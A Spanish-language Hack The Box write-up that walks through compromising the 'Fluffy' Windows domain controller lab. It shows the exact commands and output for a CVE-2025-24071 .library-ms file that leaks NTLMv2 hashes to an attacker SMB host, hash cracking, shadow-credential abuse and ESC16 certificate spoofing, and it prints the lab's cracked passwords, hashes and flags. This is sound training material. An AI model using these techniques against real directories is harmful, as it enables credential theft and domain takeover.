Fluffy

Hack The Box — Metodología Detallada

Fluffy

IP:10.129.232.88
OS:Windows Server 2019
Dificultad:Easy
Categoría:Active Directory
Fecha:31 Ago 2026

Reconocimiento

Escaneo inicial de puertos

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.232.88 -oG allPorts

PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5986/tcp  open  wsmans
9389/tcp  open  adws
Hallazgo
La presencia de los puertos 88 (Kerberos), 389 (LDAP) y 3268 (Global Catalog) confirma que el objetivo es un Domain Controller. El puerto 5986 (WinRM sobre HTTPS) esta abierto como vector de acceso remoto. SMB signing requerido descarta ataques de NTLM Relay directos.

Escaneo de versiones

PORT     STATE SERVICE
53/tcp   open  domain            Simple DNS Plus
88/tcp   open  kerberos-sec      Microsoft Windows Kerberos
135/tcp  open  msrpc             Microsoft Windows RPC
139/tcp  open  netbios-ssn
389/tcp  open  ldap              Microsoft Windows AD LDAP (Domain: fluffy.htb)
445/tcp  open  microsoft-ds
464/tcp  open  kpasswd5
593/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ldapssl
3268/tcp open  ldap              Microsoft Windows AD LDAP (Domain: fluffy.htb)
3269/tcp open  globalcatLDAPssl
5985/tcp open  http              Microsoft HTTPAPI httpd 2.0 (WinRM)
9389/tcp open  mc-nmf            .NET Message Framing

Service Info: Host: DC01; OS: Windows Server 2019
Hallazgo
El escaneo de versiones confirmo el dominio fluffy.htb y el hostname DC01. Sistema operativo: Windows Server 2019 Build 17763. Se agrego fluffy.htb y DC01.fluffy.htb al /etc/hosts.

Enumeración

Enumeración SMB con credenciales iniciales

Hipótesis
La maquina proporciona credenciales iniciales: j.fleischman:J0elTHEM4n1990!. Se procedio a enumerar shares SMB para identificar recursos accesibles.
netexec smb 10.129.232.88 -u 'j.fleischman' -p 'J0elTHEM4n1990!' --shares

Sharename   Type    Comment
---------   ----    -------
ADMIN$      Disk    Remote Admin
C$          Disk    Default share
IPC$        IPC     Remote IPC
IT          Disk    READ,WRITE
NETLOGON    Disk    Logon server share
SYSVOL      Disk    Logon server share
Hallazgo
El share IT tiene permisos de lectura y escritura para j.fleischman. Esto es relevante — tener escritura en un share compartido permite subir archivos maliciosos que pueden ser ejecutados o procesados por otros usuarios del dominio.

Enumeración del share IT

smbclient //10.129.232.88/IT -U 'j.fleischman%J0elTHEM4n1990!'

Dev       D    0  Mon Oct 25 19:40:06 2021
Everything-1.4.1.1026.x64       D
Everything-1.4.1.1026.x64.zip   A   1827464
KeePass-2.58                    D
KeePass-2.58.zip                A   3225346
Upgrade_Notice.pdf              A    169963
Hallazgo
Se encontraron tres recursos: el gestor de contrasenas KeePass 2.58, la herramienta de busqueda Everything 1.4.1.1026 y el PDF Upgrade_Notice.pdf. El PDF revela CVEs criticos pendientes de parche, entre ellos CVE-2025-24071.

Analisis del PDF — CVEs pendientes

pdftotext Upgrade_Notice.pdf -

CVE ID          Severity
CVE-2025-24071  Critical
CVE-2025-24996  Critical
CVE-2025-46785  High
CVE-2025-29968  High
CVE-2025-21193  Medium
CVE-2025-3445   Low
Hallazgo
CVE-2025-24071 es una vulnerabilidad critica en Windows File Explorer. Al abrir o extraer un archivo ZIP que contiene un .library-ms malicioso, el Explorer intenta conectarse automaticamente a una ruta SMB embebida en el archivo. Esta conexion envia el hash NTLMv2 del usuario al atacante sin interaccion adicional. El share IT tiene permisos de escritura, lo que permite subir el archivo malicioso.

Explotación

CVE-2025-24071 — NTLM Hash Stealing

Hipótesis
Se creo un archivo .library-ms malicioso que apunta a la IP del atacante via SMB. Al ser subido al share IT y abierto por algun usuario del dominio, el Explorer enviara automaticamente su hash NTLMv2.

Creacion del archivo malicioso

cat > exploit.library-ms << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription
xmlns="http://schemas.microsoft.com/windows/2009/library">
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>\\10.10.15.225\share</url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
EOF

smbclient //10.129.232.88/IT \
-U 'j.fleischman%J0elTHEM4n1990!' \
-c 'put exploit.library-ms'

Captura del hash con Responder

sudo responder -I tun0 -v

[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash     : p.agila::FLUFFY:6df089a883f48c87:
A96E7AEE2C2F56E9CF63AE62AECD0896:[...hash truncado...]
Hipótesis
El primer intento de crackeo fallo porque el hash se guardo con formato incorrecto en el archivo. Se copio el hash directamente con echo y se reintento.
hashcat -m 5600 hash.txt rockyou.txt

P.AGILA::FLUFFY:[...hash truncado...]:prometheusx-303

Status: Cracked
Hash.Mode: 5600 (NetNTLMv2)
Hallazgo
Vector confirmado: Hash NTLMv2 de p.agila crackeado. Credencial: p.agila: prometheusx-303.

Acceso inicial via WinRM como p.agila

evil-winrm -i 10.129.232.88 -u p.agila -p 'prometheusx-303'

*Evil-WinRM* PS C:\Users\p.agila\Documents>
Hallazgo
Vector confirmado: Acceso obtenido como p.agila via WinRM. Se procede a recolectar el grafo del dominio con BloodHound para identificar rutas de escalada.

Escalada de Privilegios

Analisis de BloodHound — p.agila

Hipótesis
Con credenciales de p.agila se recolecto el grafo del dominio con BloodHound para identificar rutas de escalada.
bloodhound-python -u p.agila -p 'prometheusx-303' \
-dc DC01.fluffy.htb -d fluffy.htb -c All \
-ns 10.129.232.88
Hallazgo
La cadena de escalada es: p.agila → MemberOf → SERVICE ACCOUNT MANAGERS → GenericAll → SERVICE ACCOUNTS → GenericWrite → ca_svc, ldap_svc, winrm_svc. El objetivo inmediato es winrm_svc para obtener acceso WinRM, y luego ca_svc para abusar de ADCS.

Shadow Credentials sobre winrm_svc

Hipótesis
Con GenericWrite sobre winrm_svc es posible inyectar Shadow Credentials en el atributo msDS-KeyCredentialLink, lo que permite obtener el hash NT del usuario sin conocer su contrasena. Para heredar el GenericWrite, p.agila debe ser miembro de SERVICE ACCOUNTS.
# Agregarse a SERVICE ACCOUNTS
bloodyad -d fluffy.htb -i 10.129.232.88 \
-u p.agila -p 'prometheusx-303' -H DC01.fluffy.htb \
add groupMember 'SERVICE ACCOUNTS' p.agila

[+] p.agila added to SERVICE ACCOUNTS

# Shadow Credentials sobre winrm_svc
bloodyad -d fluffy.htb -i 10.129.232.88 \
-u p.agila -p 'prometheusx-303' -H DC01.fluffy.htb \
add shadowCredentials winrm_svc

[+] TGT stored in ccache file winrm_svc_mq.ccache
NT: 33bd09dcd697600edf6b3a7af4875767
Nota
La maquina tiene un script de limpieza que resetea los cambios periodicamente. Si el Shadow Credentials falla con insufficientAccessRights, es porque p.agila fue removido del grupo. Se ejecutan los dos comandos en rapida sucesion para evitar el problema.
evil-winrm -i 10.129.232.88 -u winrm_svc \
-H 33bd09dcd697600edf6b3a7af4875767

*Evil-WinRM* PS C:\Users\winrm_svc\Desktop> type user.txt
72995b61b9ea7c867609b3b25d8c931b
Hallazgo
Vector confirmado: Acceso obtenido como winrm_svc via Pass-the-Hash. Flag de usuario: 72995b61**...**8c931b.

Shadow Credentials sobre ca_svc

Hipótesis
Con el mismo vector, se obtiene el hash NT de ca_svc para abusar de ADCS. ca_svc pertenece al grupo Cert Publishers que tiene permisos de enrollment sobre la CA.
bloodyad -d fluffy.htb -i 10.129.232.88 \
-u p.agila -p 'prometheusx-303' -H DC01.fluffy.htb \
add groupMember 'SERVICE ACCOUNTS' p.agila && \
bloodyad -d fluffy.htb -i 10.129.232.88 \
-u p.agila -p 'prometheusx-303' -H DC01.fluffy.htb \
add shadowCredentials ca_svc

[+] TGT stored in ccache file ca_svc_iO.ccache
NT: ca0f4f9e9eb8a092addf53bb03fc98c8

ESC16 — Security Extension deshabilitada

Hipótesis
Con credenciales de ca_svc se enumero ADCS. La CA tiene ESC16 (Security Extension deshabilitada), lo que significa que los certificados emitidos no incluyen la extension que vincula el certificado a la cuenta solicitante. El DC determina la identidad solo por el UPN del certificado, igual que ESC9. Al cambiar el UPN de ca_svc a [email protected] y solicitar un certificado, el DC lo emite como si fuera del Administrator.
certipy find -u [email protected] \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-dc-ip 10.129.232.88 -vulnerable -stdout

[!] Vulnerabilities
ESC16 : Security Extension is disabled.

Explotacion ESC16

# Paso 1 - Leer UPN original de ca_svc
certipy account read -u [email protected] \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-user ca_svc -dc-ip 10.129.232.88

userPrincipalName : [email protected]

# Paso 2 - Cambiar UPN a Administrator
certipy account update -u [email protected] \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-user ca_svc -upn [email protected] \
-dc-ip 10.129.232.88

[*] Successfully updated 'ca_svc'
userPrincipalName : [email protected]

# Paso 3 - Solicitar certificado como ca_svc
certipy req -u [email protected] \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-ca fluffy-DC01-CA -template User \
-target-ip 10.129.232.88

[*] Got certificate with UPN '[email protected]'
[*] Wrote certificate and private key to 'administrator.pfx'

# Paso 4 - Restaurar UPN original
certipy account update -u [email protected] \
-hashes :ca0f4f9e9eb8a092addf53bb03fc98c8 \
-user ca_svc -upn [email protected] \
-dc-ip 10.129.232.88

[*] Successfully updated 'ca_svc'

# Paso 5 - Autenticarse y obtener hash NT
certipy auth -pfx administrator.pfx -dc-ip 10.129.232.88

[*] Got hash for '[email protected]':
aad3b435b51404eeaad3b435b51404ee:8da83a3fa618b6e3a00e93f676c92a6e

Acceso como Administrator

evil-winrm -i 10.129.232.88 -u administrator \
-H 8da83a3fa618b6e3a00e93f676c92a6e

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
dd46ec385bc40c320dad23525746ad4d
Hallazgo
Vector confirmado: Acceso obtenido como Administrator via Pass-the-Hash. Flag de root: dd46ec38**...**746ad4d. El dominio fluffy.htb ha sido completamente comprometido.

Reflexión Final

Qué salió bien

Qué salió mal

Lecciones aprendidas

Tiempo total

Aproximadamente 1 hora 10 minutos.